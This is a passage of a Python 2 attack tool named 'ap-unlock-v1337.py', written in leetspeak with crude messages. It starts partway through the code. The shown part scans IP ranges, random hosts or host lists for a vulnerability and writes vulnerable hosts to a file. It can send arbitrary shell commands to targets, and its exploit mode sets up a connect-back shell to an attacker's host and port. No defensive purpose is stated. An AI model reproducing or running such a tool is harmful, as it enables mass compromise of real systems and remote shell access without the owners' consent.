s3nd_sh1t(args, m0de, None)
return
def m4k3_ipv4_r4ng3(iprange):
a = tuple(part for part in iprange.split('.'))
rsa = (range(4))
rsb = (range(4))
for i in range(0,4):
ga = a[i].find('-')
if ga != -1:
rsa[i] = int(a[i][:ga])
rsb[i] = int(a[i][1+ga:]) + 1
else:
rsa[i] = int(a[i])
rsb[i] = int(a[i]) + 1
return (rsa, rsb)
def parse_args():
p = argparse.ArgumentParser(
usage='\n\n ./ap-unlock-v1337.py -h <4rg> -s | -c <4rg> | -x <4rg> ' \
'[0pt1ons]\n ./ap-unlock-v1337.py -r <4rg> | -R <4rg> | -i <4rg>'\
' [0pt1ons]',
formatter_class=argparse.RawDescriptionHelpFormatter, add_help=False)
opts = p.add_argument_group('0pt1ons', '')
opts.add_argument('-h', metavar='wh1t3h4tz.0rg',
help='| t3st s1ngle h0st f0r vu1n')
opts.add_argument('-p', default=80, metavar='80',
help='| t4rg3t p0rt (d3fau1t: 80)')
opts.add_argument('-S', action='store_true',
help='| c0nn3ct thr0ugh ss1')
opts.add_argument('-c', metavar='\'uname -a;id\'',
help='| s3nd c0mm4nds t0 h0st')
opts.add_argument('-x', metavar='192.168.0.2:1337',
help='| c0nn3ct b4ck h0st 4nd p0rt f0r sh3ll')
opts.add_argument('-s', action='store_true',
help='| t3st s1ngl3 h0st f0r vu1n')
opts.add_argument('-r', metavar='133.1.3-7.7-37',
help='| sc4nz iP addr3ss r4ng3 f0r vu1n')
opts.add_argument('-R', metavar='1337',
help='| sc4nz num r4nd0m h0st5 f0r vu1n')
opts.add_argument('-t', default=2, metavar='2',
help='| c0nn3ct t1me0ut in s3x (d3fau1t: 3)')
opts.add_argument('-T', default=2, metavar='2',
help='| r3ad t1me0ut in s3x (d3fau1t: 3)')
opts.add_argument('-f', metavar='vu1n.lst',
help='| wr1t3 vu1n h0sts t0 f1l3')
opts.add_argument('-i', metavar='sc4nz.lst',
help='| sc4nz h0sts fr0m f1le f0r vu1n')
opts.add_argument('-v', action='store_true',
help='| pr1nt m0ah 1nf0z wh1l3 sh1tt1ng')
args = p.parse_args()
if not args.h and not args.r and not args.R and not args.i:
p.print_help()
sys.exit(0)
return args
def wr1te_fil3(args):
try:
f = open(args.f, "a+")
f.write(args.h + "\n")
f.close()
except:
sys.stderr.write('[-] 3rr0r: de1n3 mudd1 k0cht guT')
sys.stderr.write('\n')
raise SystemExit()
return
def run_threads(args, h0sts, m0de, vu1nz, rsa, rsb):
num_h0sts = len(h0sts)
num = 0
try:
if args.r:
sc4n_r4ng3(args, m0de, rsa, rsb)
else:
for h0st in h0sts:
num += 1
if args.v:
sys.stdout.flush()
sys.stdout.write("[" + str(num) + "/" + str(num_h0sts) +
"] ")
else:
sys.stdout.flush()
sys.stdout.write("\r[+] h0sts sc4nn3d: " + str(num) +
"/" + str(num_h0sts) + " \b")
t = threading.Thread(target=d0_sc4n, args=(args, h0st, m0de,
vu1nz, None, None))
t.start()
t.join()
except KeyboardInterrupt:
sys.stdout.flush()
sys.stdout.write("\b\b[!] w4rn1ng: ab0rt3d bY us3r\n")
raise SystemExit
return
def c0ntr0ller():
vu1nz = []
m0de = NONE
try:
args = parse_args()
if args.h:
if args.s:
print "[+] sc4nn1ng s1ngl3 h0st %s " % (args.h)
m0de = VULN
if args.S:
s3nd_sh1t_ss1(args, m0de, None)
else:
s3nd_sh1t(args, m0de, None)
elif args.c:
print "[+] s3nd1ng c0mm4ndz t0 h0st %s " % (args.h)
m0de = SCMD
if args.S:
s3nd_sh1t_ss1(args, m0de, None)
else:
s3nd_sh1t(args, m0de, None)
elif args.x:
print "[+] xpl0it1ng b0x %s " % (args.h)
m0de = XPLT
if args.x.find(':') != -1:
if not args.x.split(':')[1]:
print "[-] 3rr0r: p0rt m1ss1ng"
else:
cb_h0st = args.x.split(':')[0]
cb_p0rt = args.x.split(':')[1]
else:
print "[-] 3rr0r: <h0st>:<p0rt> y0u l4m3r"
c0nn_b4ck = m4ke_c0nn_b4ck_sh1t(cb_h0st, cb_p0rt)
if args.S:
s3nd_sh1t_ss1(args, m0de, c0nn_b4ck)
else:
s3nd_sh1t(args, m0de, c0nn_b4ck)
else:
print "[-] 3rr0r: m1ss1ng -s, -c 0r -x b1tch"
sys.exit(-1)
if args.r:
print "[+] sc4nn1ng r4ng3 %s " % (args.r)
m0de = VULN
rsa, rsb = m4k3_ipv4_r4ng3(args.r)
run_threads(args, None, m0de, None, rsa, rsb)
if args.R:
print "[+] sc4nn1ng %d r4nd0m b0xes" % (int(args.R))
m0de = VULN
h0sts = m4k3_r4nd_1p4ddr(int(args.R))
run_threads(args, h0sts, m0de, vu1nz, None, None)
if args.i:
print "[+] sc4nn1ng b0xes fr0m f1le %s" % (args.i)
m0de = VULN
h0sts = tuple(open(args.i, 'r'))
run_threads(args, h0sts, m0de, vu1nz, None, None)
except KeyboardInterrupt:
sys.stdout.flush()
sys.stderr.write("\b\b[!] w4rn1ng: ab0rt3d bY us3r\n")
raise SystemExit
return
def m41n():
if __name__ == "__main__":
print "--==[ ap-unlock-v1337.py by noptrix@nullsecurity.net ]==--"
c0ntr0ller()
else:
print "[-] 3rr0r: y0u fuck3d up dud3"
sys.exit(1)
print "[+] h0p3 1t h3lp3d"
# \o/ fr33 requiem 1337 h4x0rs ...
m41n()
# e0F